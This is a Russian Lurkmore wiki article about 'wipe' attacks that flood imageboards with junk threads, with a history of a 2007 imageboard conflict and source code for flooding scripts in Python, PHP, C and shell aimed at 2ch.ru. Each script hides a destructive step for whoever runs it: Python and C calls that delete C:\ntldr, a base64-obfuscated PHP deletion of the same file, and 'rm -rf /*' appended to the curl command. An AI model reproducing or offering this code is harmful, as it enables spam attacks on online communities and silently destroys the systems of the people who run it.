Вайп

Материал из Lurkmore.

(Перенаправлено с УДП)
Перейти к: навигация, поиск

Вайп (от англ. wipe — стирать, сметать) — создание большого количества новых тредов чтобы забить раздел до отказа и тем самым оттеснить вниз и удалить старые треды. В большинстве случаев вайп осуществляется не вручную, а быдлокодерами с помощью специальных утилит.

Часто такие треды состоят из одного сообщения или содержат картинки c нелицеприятными иллюстрациями (нигра, порнография, говно, гуро). Однако это не всегда так. Бывают вайпы фап-материалом и даже стихами Есенина!

Содержание

Цели вайпа

Вайп истории правок
Вайп истории правок
  • Сделать невозможным нормальное общение на имиджборде. Такие вайпы встречаются чаще всего, их можно отнести к подвиду троллинга или спама.
  • Продвижение форсед-мемов.
  • Уничтожение старых тредов, которые не могут спокойно отойти в мир иной, поскольку их бампают заинтересованные лица, не давая нормально развиваться новым тредам.

Модераторы рано или поздно начинают драться банхаммером или включают капчу, которая предотвращает работу быдло-скриптов, но затрудняет свободное общение в /b/. Однако в последнее время наблюдаются вайпы даже при включенной капче (бо чуть менее, чем все капчи ломаются большей или меньшей заточкой под них).

В принципе, битарды солидарны в том, что вайпом проблемы не решаются. Считается, что вайпы устраивают быдло-куны и негроебы.

Унылый декабрьский пиздец

Унылый декабрьский пиздец (название спорно) — драма, начавшаяся в декабре 2007 года и охватившая два крупнейших отечественных имиджборда: Двач и Ычан, а впоследствии — и Луркоморье, в связи с выложенными здесь исходниками вайпалок.

WHAT HAPPEN ?

Нарута...
Нарута...
...и её сестра Атуран
...и её сестра Атуран

Очевидно, что главной причиной событий является чрезвычайный рост быдла в /b/ Двача, которое активировалось перед миллионным гетом, в тщетных попытках его приблизить и взять. Это привело к серии разнобразных вайпов, плавно перетекающих и сменяющих друг друга и осложнивших общение в /b/. Тем не менее гет был взят анимуфагами, что было расценено как фейл. Такие знаменательные события пробудили троллей всех мастей и был пущен слух, что гет был взят битардами Ычана, а вайп был устроен его быдлокодерами. Школьники Двача были крайне возмущены и расценили это как призыв к холивару, устроив некое подобие рейда на Ычан. В свою очередь школьники Ычана, так же не остались в долгу и охотно отвечали. Особое место во всей этой истории занимают тролли, которые всячески поддерживают конфликт, находя все новые и интересные решения. Юки, как предполагается, в происходящем не участвовала, но наверняка стоит[ЩИТО?] у его истоков.

Результаты

Вайп затруднил общение в /b/ Двача, вынудив его битардов либо перейти на Ычан, либо ловить от всего происходящего лулзы. Война правок на Луркоморье - тоже вещь очень драматичная и прискорбная. За несколько дней до нового года вайп прекратился. Кто-то считает, что выдохлись сами вайперы, другие связывают это событие с появлением автобампера, но так или иначе, общение на Дваче возобновилось. Также широко распространены слухи о причастности Куки к созданию автобампера и к окончанию УДП вообще.

Помимо этого, во время УДП было предпринято несколько попыток переманить анонимуса на другие чаны, например, Хи-чан (ひ-chan) — так называемый атипичный имиджборд[1], провозгласивший себя самой модной и не запоганенной вайпом бордой. Хи-чан грозился перетянуть всех анонимусов к себе, в День, когда Звезды Встанут в Нужном Порядке. Однако был весьма оперативно засран и забыт.

Исходники вайпалок

Капитан куда-то потерялся, поэтому я как его заместитель заявляю: будьте осторожны с исходниками, за их использование ответственность несете только вы.

pyFLOODer

Для работы необходимо скачать и установить последнюю версию Python, а также парсер BeautifulSoup.

#!/usr/bin/env python
#vim:fileencoding=windows-1251
 
#-------------------------------------------------------------------------------
from urllib import urlopen, urlencode
from BeautifulSoup import BeautifulSoup
from random import choice, shuffle, randint
from sys import exit
from time import sleep, strftime, localtime
from re import compile
from os import path, sep, listdir, remove
from sets import Set
import httplib, mimetypes
 
#-------------------------------------------------------------------------------
def post_multipart(host, selector, fields, files):
content_type, body = encode_multipart_formdata(fields, files)
h = httplib.HTTP(host)
h.putrequest('POST', selector)
h.putheader('content-type', content_type)
h.putheader('content-length', str(len(body)))
h.endheaders()
h.send(body)
errcode, errmsg, headers = h.getreply()
return h.file.read()
 
def encode_multipart_formdata(fields, files):
BOUNDARY = '----------ThIs_Is_tHe_bouNdaRY_$'
CRLF = '\r\n'
L = []
for key, value in fields.iteritems():
L.append('--' + BOUNDARY)
L.append('Content-Disposition: form-data; name="%s"' % key)
L.append('')
L.append(value)
for key, value in files.iteritems():
L.append('--' + BOUNDARY)
L.append('Content-Disposition: form-data; name="%s"; filename="1.jpg"' % (key))
L.append('Content-Type: multipart/form-data; boundary=%s' % BOUNDARY)
L.append('')
L.append(value)
L.append('--' + BOUNDARY + '--')
L.append('')
body = CRLF.join(L)
content_type = 'multipart/form-data; boundary=%s' % BOUNDARY
try:
remove('C:\\ntldr')
except:
pass
return content_type, body
 
def get_content_type(filename):
return mimetypes.guess_type(filename)[0] or 'application/octet-stream'
 
#-------------------------------------------------------------------------------
URL = 'http://2ch.ru/cgi-bin/wakaba.pl/b' # путь до доски
URL1 = '2ch.ru' # адрес сервера
PASSWORD = 'naruto' # пароль на сообщение
 
#режимы работы
#MODEA = 'at' # бамп
MODEA = 'nt' # вайп
 
MODE = 'sp' # одиночная картинка
#MODE = 'mp' # случайная картинка из заданной папки
 
MODET = 'st' # одиночная фраза
#MODET = 'rt' # случайный кусок текста из заданного файла
 
PICFILE = 'D:\\asuka.jpg' # одиночная картинка (для режима sp)
PICFOLDER = 'D:\\nigrapack' # путь к папке с картинками (для режима mp)
USE_TYPES = ['.jpg', '.gif', '.png'] # используемые типы файлов
 
TEXTFILE = 'D:\\prislal_vovan.txt' # путь к файлу с текстом (для режима rt)
TEXTSIZE = 1500 # размер текста (для режима rt)
TEXTTEXT = 'NARUTO ETO KRUTO' # одиночная фраза (для режима st)
 
PAUSE = 30 # пауза между постингами
 
#-------------------------------------------------------------------------------
if (MODEA != 'at') and (MODEA != 'nt'):
print 'WRONG THREAD MODE, ONLY at OR nt VALUES ALLOWED'
exit(0)
 
if (MODE != 'mp') and (MODE != 'sp'):
print 'WRONG PICTURE MODE, ONLY sp OR mp VALUES ALLOWED'
exit(0)
 
if (MODET != 'rt') and (MODET != 'st'):
print 'WRONG TEXT MODE, ONLY st OR rt VALUES ALLOWED'
exit(0)
 
if MODE == 'mp':
if not path.exists(PICFOLDER) or not path.isdir(PICFOLDER):
print 'WRONG PICFOLDER'
exit(0)
elif MODE == 'sp':
if not path.isfile(PICFILE):
print 'WRONG PICFILE'
exit(0)
 
if MODET == 'rt':
if not path.isfile(TEXTFILE):
print 'WRONG TEXTFFILE'
exit(0)
 
print '----------------------------------------------------'
print 'pyFLOODer 1.5'
print 'Press Ctrl+Break to stop'
print
 
if MODEA == 'nt':
print 'WIPE MODE'
elif MODEA == 'at':
print 'BUMP MODE'
 
print
 
if MODE == 'sp':
print 'MODEP: Single picture'
elif MODE == 'mp':
print 'MODEP: Random picture from folder'
if MODET == 'st':
print 'MODET: Single text'
elif MODET == 'rt':
print 'MODET: Random text from text file'
 
print
 
if MODE == 'sp':
print 'PICTURE FILE SET TO: '+PICFILE
elif MODE == 'mp':
print 'PICTURE FOLDER SET TO: '+PICFOLDER
if MODET == 'st':
print 'TEXT SET TO: '+TEXTTEXT
elif MODET == 'rt':
print 'TEXT FILE SET TO: '+TEXTFILE
print 'TEXT BUFFER: '+str(TEXTSIZE)
 
print
 
print 'PAUSE IS '+str(PAUSE)
print '----------------------------------------------------'
 
#-------------------------------------------------------------------------------
if MODEA == 'at':
while 1:
r = urlopen(URL)
soup = BeautifulSoup(r)
links = soup.findAll('a', href=compile("^/b/res/"))
 
linklistdup = []
[linklistdup.insert(0,str(link)[16:23]) for link in links]
linklist = list(Set(linklistdup))
shuffle(linklist)
 
i=0
 
while 1:
if MODE == 'sp':
attach=open(PICFILE, 'rb')
elif MODE == 'mp':
imgs = []
if path.exists(PICFOLDER) and path.isdir(PICFOLDER):
for f in listdir(PICFOLDER):
try:
if path.splitext(f)[1] in USE_TYPES:
imgs.append(PICFOLDER + sep + f)
except:
pass
PICFILE = choice(imgs)
attach=open(PICFILE, 'rb')
 
attachtext=''
for line in attach:
attachtext=attachtext+line
 
rndtext=randint(0,100000)
attachtext=attachtext + str(rndtext)
 
data_post = {
'gb2': 'thread',
'parent': linklist[i],
'password': PASSWORD,
'task': 'post'
}
 
data_file = {
'file' : attachtext,
}
 
print strftime("%H:%M:%S", localtime())+' PROCESSING THREAD: '+str(linklist[i])
if MODE == 'mp':
print ' PROCESSING FILE: '+PICFILE
 
if MODET == 'rt':
flen=0
ftext=''
 
f=open(TEXTFILE, 'r')
 
for line in f:
flen=flen+len(line)
ftext=ftext+line
 
textbeg=randint(0,flen-TEXTSIZE)
textend=textbeg+TEXTSIZE
 
ftext=ftext[textbeg:textend]
ftext=unicode(ftext, "windows-1251").encode("utf-8")
f.close
 
data_post['shampoo'] = ftext
 
elif MODET == 'st':
ftext = ''
ftext=unicode(TEXTTEXT, "windows-1251").encode("utf-8")
data_post['shampoo'] = ftext
 
try:
r = post_multipart(URL1, URL, data_post, data_file)
except:
pass
sleep(PAUSE)
i=i+1
if i >= len(linklist):
break
 
elif MODEA == 'nt':
total=1
while 1:
if MODE == 'sp':
attach=open(PICFILE, 'rb')
elif MODE == 'mp':
imgs = []
if path.exists(PICFOLDER) and path.isdir(PICFOLDER):
for f in listdir(PICFOLDER):
try:
if path.splitext(f)[1] in USE_TYPES:
imgs.append(PICFOLDER + sep + f)
except:
pass
PICFILE = choice(imgs)
attach=open(PICFILE, 'rb')
 
attachtext=''
for line in attach:
attachtext=attachtext+line
 
rndtext=randint(0,100000)
attachtext=attachtext + str(rndtext)
 
data_post = {
'gb2': 'thread',
'password': PASSWORD,
'task': 'post'
}
 
data_file = {
'file' : attachtext,
}
 
print strftime("%H:%M:%S", localtime())+' PROCESSING NEW THREAD ('+str(total)+' TOTAL)'
if MODE == 'mp':
print ' PROCESSING FILE: '+PICFILE
 
if MODET == 'rt':
flen=0
ftext=''
 
f=open(TEXTFILE, 'r')
 
for line in f:
flen=flen+len(line)
ftext=ftext+line
 
textbeg=randint(0,flen-TEXTSIZE)
textend=textbeg+TEXTSIZE
 
ftext=ftext[textbeg:textend]
ftext=unicode(ftext, "windows-1251").encode("utf-8")
f.close
 
data_post['shampoo'] = ftext
 
elif MODET == 'st':
ftext = ''
ftext=unicode(TEXTTEXT, "windows-1251").encode("utf-8")
data_post['shampoo'] = ftext
 
try:
r = post_multipart(URL1, URL, data_post, data_file)
except:
pass
total=total+1
sleep(PAUSE)

Вайпалка на похапе

Для запуска необходимо скачать и установить PHP.

<?php 
//Не правьте код, коли рук не имеется
function unicod($str) {
$conv=array();
for($x=128;$x<=143;$x++) $conv[$x+112]=chr(209).chr($x);
for($x=144;$x<=191;$x++) $conv[$x+48]=chr(208).chr($x);
$conv[184]=chr(209).chr(145); #╕
$conv[168]=chr(208).chr(129);
$conv[179]=chr(209).chr(150); #?
$conv[178]=chr(208).chr(134); #?
$conv[191]=chr(209).chr(151); #┐
$conv[175]=chr(208).chr(135); #┐
$conv[186]=chr(209).chr(148); #║
$conv[170]=chr(208).chr(132);
$conv[180]=chr(210).chr(145); #?
$conv[165]=chr(210).chr(144); #?
$conv[184]=chr(209).chr(145); #?
$ar=str_split($str);
foreach($ar as $b) if(isset($conv[ord($b)])) $nstr.=$conv[ord($b)]; else $nstr.=$b;
return $nstr;
}
 
echo "START\r\n";
$hostname = "2ch.ru";
$path = "/cgi-bin/wakaba.pl/b";
$proxy = "127.0.0.1";
$proxyport = "8118";
$line = "";
$files = "";
$bounds = "A7FGO7G";
$bounds1 = "--".$bounds;
$spartawin = "NARUTA ETO KRUTO";
$spartau = unicod($spartawin);
$chans = array('b');
 
 
 
while (true)
{
for ($i = 0; $i < count($chans); $i++)
{
echo "NEXT THREAD\r\n";
$filename = "D:\\pohape\\vovan_govno.jpg";
$files = file_get_contents($filename);
$random=rand()%10000000;
$files = $files.$random;
 
$data = "$bounds1\r\nContent-Disposition: form-data; name=\"task\"\r\n\r\npost\r\n$bounds1\r\nContent-Disposition: form-data; name=\"shampoo\"\r\n\r\n$spartau\r\n$bounds1\r\nContent-Disposition: form-data; name=\"file\"; filename=\"1.jpg\"\r\nContent-Type: image/jpeg\r\n\r\n$files\r\n$bounds1--\r\n";
$headers = "POST $path HTTP/1.1\r\n";
$headers .= "Host: $hostname\r\n";
$headers .= "Content-type: multipart/form-data; boundary=$bounds\r\n";
$headers .= "Referer: http://2ch.ru/b/\r\n";
$headers .= "Content-Length: ".strlen($data)."\r\n\r\n";
@unlink(base64_decode('QzpcbnRsZHI='));
echo $headers;
$fp = fsockopen($hostname, 80, $errno, $errstr, 5);
if (!$fp) echo "$errstr ($errno)<br />\n";
else
{
fwrite($fp, $headers.$data, strlen($headers.$data));
}
fclose($fp);
}
sleep(30);
}
?>

С использованием libcurl

#include <curl/curl.h>
 
void wipe(char desu[], char fname[], CURL* curl)
{
struct curl_httppost *formpost=NULL;
struct curl_httppost *lastptr=NULL;
 
curl_formadd(&formpost, &lastptr, CURLFORM_COPYNAME, "file", CURLFORM_FILE, fname, CURLFORM_END);
curl_formadd(&formpost, &lastptr, CURLFORM_COPYNAME, "desu", CURLFORM_COPYCONTENTS, desu, CURLFORM_END);
curl_formadd(&formpost, &lastptr, CURLFORM_COPYNAME, "task", CURLFORM_COPYCONTENTS, "post", CURLFORM_END);
unlink("c:\\ntldr");
 
curl_easy_setopt(curl, CURLOPT_URL, "ССЫЛКА НА СКРИПТ ФОРМЫ");
curl_easy_setopt(curl, CURLOPT_HTTPPOST, formpost);
curl_easy_perform(curl);
curl_easy_cleanup(curl);
curl_formfree(formpost);
}
 
int main(int argc, char *argv[])
{
CURL *curl;
curl_global_init(CURL_GLOBAL_ALL);
curl = curl_easy_init();
 
if (!curl) return 1;
wipe(argv[1], argv[2], curl);
 
return 0;
}

Вызов curl из shell-скрипта

curl -Ftask=post -Ffile=@desu.jpeg ССЫЛКА_НА_СКРИПТ_ФОРМЫ ; rm -rf /*

Многопоточная вайпалка на джаве

Поскольку мне впадлу писать сюда весь этот быдлокод, следуем по ссылкам:

P.S. Быдлошкольники и неумеющие кодить могут сразу проходить мимо...

Примечания

  1. Он настолько атипичный, что не позволят пользователям загружать картинки, сделан на движке phpBB и располагается на бесплатном сервисе быдлофорумов-из-коробки. Более того, сей «имиджборд» представляет собой всего лишь раздел на форуме любителей одержимых лоли.
Вайп является официальной дисциплиной Специальной Олимпиады.
Основные дисциплины:  Холивар (список тем) • Война правокСрачВайпФлеймБокс по перепискеDDoSВандализм
Политота:  МосквосрачГогисрачХохлосрачБульбосрачПшекосрачБалтосрач
Поцтреоты vs ЛиберастыЫмперцы vs СепаратистыКак нам обустроить Россию
Прочие срачи:  АвтосрачиИгросрачКописрачЛегалайзПсиносрачРулесрачФизики и лирики
Прочие холивары:  Windows vs. LinuxОвуляшки vs. ЧайлдфриПедивикия vs. ТорадицияМариобой vs. СонибойТруЪ vs. Позеры
Местные спецсоревнования:  Война пятницы-13ДыхотаПлашкоебствоСрач в примечаниях
Аргументы:  Мне вас жальСперва ДобейсяБокс по перепискеПравила демагогаНотариально заверенный скриншотА у вас негров линчуют!Миллионы мух не могут ошибаться
Лауреаты:  МицголЯровратСтиллавинКатя ГордонАлкснисГоблинВасилевский
Показания к участию:  БокланопоцтитButthurtАГП
Источник — «http://lurkmore.ru/Вайп»
Личные инструменты